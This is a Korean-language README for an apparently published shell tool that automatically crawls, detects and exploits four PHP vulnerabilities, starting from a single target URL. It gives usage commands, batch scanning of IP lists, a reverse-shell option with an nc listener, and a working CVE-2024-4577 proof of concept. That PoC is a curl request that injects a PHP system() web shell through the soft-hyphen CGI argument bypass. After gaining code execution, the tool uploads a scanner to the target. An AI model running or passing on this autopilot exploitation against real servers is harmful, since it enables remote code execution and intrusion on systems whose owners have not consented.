
심각한 PHP 취약점의 자동 탐지 및 악용 (CVE-2024-4577 우회, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178)
취약한 PHP CVE(CVE-2024-4577 우회, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178) 자동 탐지 및 익스플로잇
PHP8.1.x_Exploit.sh는 단일 파일, 설정 불필요 보안 평가 도구로, 2024년 12월에 출시된 PHP 8.1.34 이전 버전에 영향을 미치는 4가지 고영향 CVE를 자동으로 발견하고 익스플로잇합니다. 수동 페이로드 제작이 필요 없습니다. URL만 제공하면 스크립트가 크롤링부터 원격 코드 실행까지 모든 작업을 수행합니다. 완전 자동 조종(Autopilot) – 사용자 프롬프트 없이 자동 탐지 및 익스플로잇합니다.
-d 및 소프트 하이픈 %AD 우회.getimagesize()를 통한 힙 메모리 누수
array_merge의 정수 오버플로.parallel이 있으면 사용하고, 없으면 우아하게 대체됩니다.루트 권한이 필요하지 않습니다 – 이 도구는 HTTP 요청만 보내고 선택적으로 리버스 셸을 실행합니다(사용자 시스템에 리스너 필요).
git clone https://github.com/gl1tch0x1/PHP_8.1.x_Exploit.git
cd PHP_8.1.x_Exploit
chmod +x PHP8.1.x_Exploit.sh
단일 대상 (가장 일반적)
./PHP8.1.x_Exploit.sh -u http://target.example.com
리버스 셸과 함께 단일 대상 (CVE-2024-4577)
./PHP8.1.x_Exploit.sh -u http://vulnerable-win-server.local/ --revshell 192.168.1.100 4444
사용자 시스템에서 다음을 실행:
nc -lvnp 4444
여러 대상 배치 스캔
./PHP8.1.x_Exploit.sh -l targets.txt --threads 10
targets.txt 예시:
http://192.168.1.1/
https://10.0.0.5:8080/
http://internal-app.company.com
스캔 전용 모드 (익스플로잇 시도 없음)
./PHP8.1.x_Exploit.sh -u http://target.com/ --scan-only
결과를 파일로 저장
./PHP8.1.x_Exploit.sh -u http://target.com/ -o results.txt
상세 / 디버그 출력
./PHP8.1.x_Exploit.sh -u http://target.com/ --verbose
./PHP8.1.x_Exploit.sh -u http://target.com/ --debug # 매우 자세함
참고: CVE‑2025‑14180 및 CVE‑2025‑14178은 서버 내부에서만 (로컬 테스트) 정확하게 탐지할 수 있습니다. 스크립트는 CGI 익스플로잇 성공 후 스캐너를 업로드하여 이를 달성합니다.
[*] Scanning: http://192.168.1.100/
[*] OS: windows
[*] PHP version: 8.1.33
[*] Testing CVE-2024-4577 on http://192.168.1.100/cgi-bin/php-cgi.exe
[✓] CVE-2024-4577: VULNERABLE (soft hyphen injection)
[*] Attempting reverse shell to 192.168.1.5 4444
...
[*] Testing CVE-2025-14177 via http://192.168.1.100/upload.php
[-] CVE-2025-14177: Potential heap leak detected!
...
[*] Running deep local scan via RCE...
PHP_VERSION=8.1.33
CVE-2025-14180: VULNERABLE
CVE-2025-14178: VULNERABLE
CVE-2025-14177: VULNERABLE (leak: 486561704c65616b21...)
===================== Report for http://192.168.1.100/ =====================
OS: windows
PHP: 8.1.33
CVE-2024-4577: EXPLOITABLE at http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input
PoC: curl -X POST --data '<?php system($_GET["c"]); ?>' 'http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input&c=whoami'
CVE-2025-14177: VULNERABLE
CVE-2025-14180/14178: VULNERABLE (see deep scan output)
==============================================================
--revshell 옵션은 대상에서 사용자 시스템으로 소켓을 엽니다. 다시 연결할 권한이 있는지 확인하십시오.풀 리퀘스트, 버그 리포트 및 기능 제안을 환영합니다. 다음을 따라주십시오:
parallel이 있는 경우와 없는 경우 모두 테스트하십시오.GNU General Public License v3.0 – LICENSE 파일을 참조하십시오.
보안 커뮤니티를 위해 🧠로 제작되었습니다. 윤리적으로 사용하십시오.
| 종속성 | 용도 | 일반적으로 설치됨? |
|---|
bash 4.0 이상 | 스크립트 인터프리터 | 예 (Linux/macOS) |
curl | HTTP 요청 | 예 |
grep, sed, awk | 텍스트 처리 | 예 |
mktemp | 임시 파일 생성 | 예 |
(선택) parallel | 더 빠른 배치 스캔 | 아니오 (하지만 권장) |
(선택) jq | JSON 출력 포맷팅 | 아니오 |
| 단계 | 작업 |
|---|
| 1 | 핑거프린팅 – 헤더와 프로브에서 OS 및 PHP 버전 식별. |
| 2 | 크롤링 – 홈페이지에서 href 및 action 속성 추출. |
| 3 | CGI 검색 – 일반적인 경로와 CGI처럼 보이는 크롤링된 링크 시도. |
| 4 | CVE‑2024‑4577 테스트 – -d 및 %AD 페이로드 모두 주입; 성공 시 명령 실행 또는 리버스 셸 전송. |
| 5 | 업로드 엔드포인트 검색 – 일반적인 업로드 경로 및 "upload"/"image"를 포함하는 모든 양식 확인. |
| 6 | CVE‑2025‑14177 테스트 – 변조된 JPEG를 생성하여 각 업로드 엔드포인트에 POST하고 힙 누수 탐지. |
| 7 | 심층 내부 스캔 – RCE가 달성되면 스캐너 PHP 스크립트를 업로드하고 실행하여 CVE‑2025‑14180 / CVE‑2025‑14178 테스트. |
| 8 | 보고 – 요약 출력 및 선택적으로 파일에 기록. |
| 옵션 | 설명 |
|---|
-u URL | 단일 대상 URL (예: http://example.com/) |
-l FILE | 한 줄에 하나의 URL이 있는 배치 파일 |
--scan-only | 탐지만 – 익스플로잇하지 않음 (리버스 셸 없음, 페이로드 업로드 없음) |
-o FILE | 최종 보고서를 FILE에 기록 |
--threads N | 배치 스캔을 위한 병렬 스레드 수 (기본값: 5) |
--timeout N | HTTP 타임아웃 (초) (기본값: 10) |
--no-color | 색상 출력 비활성화 |
--verbose | 상세 진행 상황 표시 |
--debug | 모든 HTTP 요청 표시 (민감한 데이터가 노출될 수 있음) |
--revshell IP PORT | CVE‑2024‑4577이 발견되면 리버스 셸 시도 |
-h, --help | 도움말 표시 및 종료 |
| CVE | 심각도 | 영향 | 익스플로잇 벡터 | 수정된 버전 |
|---|
| CVE‑2024‑4577 (우회) | 치명적 | RCE | Windows CGI 인수 주입 (소프트 하이픈 매핑) | PHP 8.1.34 |
| CVE‑2025‑14177 | 중간/높음 | 정보 누출 (힙 메모리) | 변조된 JPEG를 getimagesize()에 전달 | PHP 8.1.34 |
| CVE‑2025‑14180 | 높음 | DoS (NULL 역참조) | 에뮬레이트된 프리페어 + 변조된 매개변수 \x99를 사용하는 PDO PostgreSQL | PHP 8.1.34 |
| CVE‑2025‑14178 | 높음 (8.2) | DoS / 잠재적 메모리 손상 | 거대한 배열로 인한 정수 오버플로를 일으키는 array_merge() | PHP 8.1.34 |
| 문제 | 해결 방법 |
|---|
curl: command not found | curl 설치 |
GNU parallel not found | 무시 – 스크립트는 없이도 작동함 (배치 스캔 속도 저하) |
| CGI 엔드포인트를 찾을 수 없음 | 대상이 CGI를 사용하지 않거나 -d 플래그를 차단하는 WAF 뒤에 있을 수 있음 |
| CVE-2024-4577은 작동하지만 리버스 셸이 실패함 | 방화벽을 확인하십시오. --scan-only로 더 간단한 페이로드를 시도하고 수동으로 nc 리스너를 사용하십시오 |
| 이미지 누수 테스트가 항상 "No leak" 반환 | 업로드 엔드포인트가 getimagesize()를 사용하지 않거나 바이너리 데이터를 제거할 수 있음 |
| 로컬 스캐너 업로드 실패 | 웹 루트에 쓰기 권한이 없을 수 있음. 스크립트는 CGI 스크립트와 동일한 디렉토리에 쓰기를 시도함 |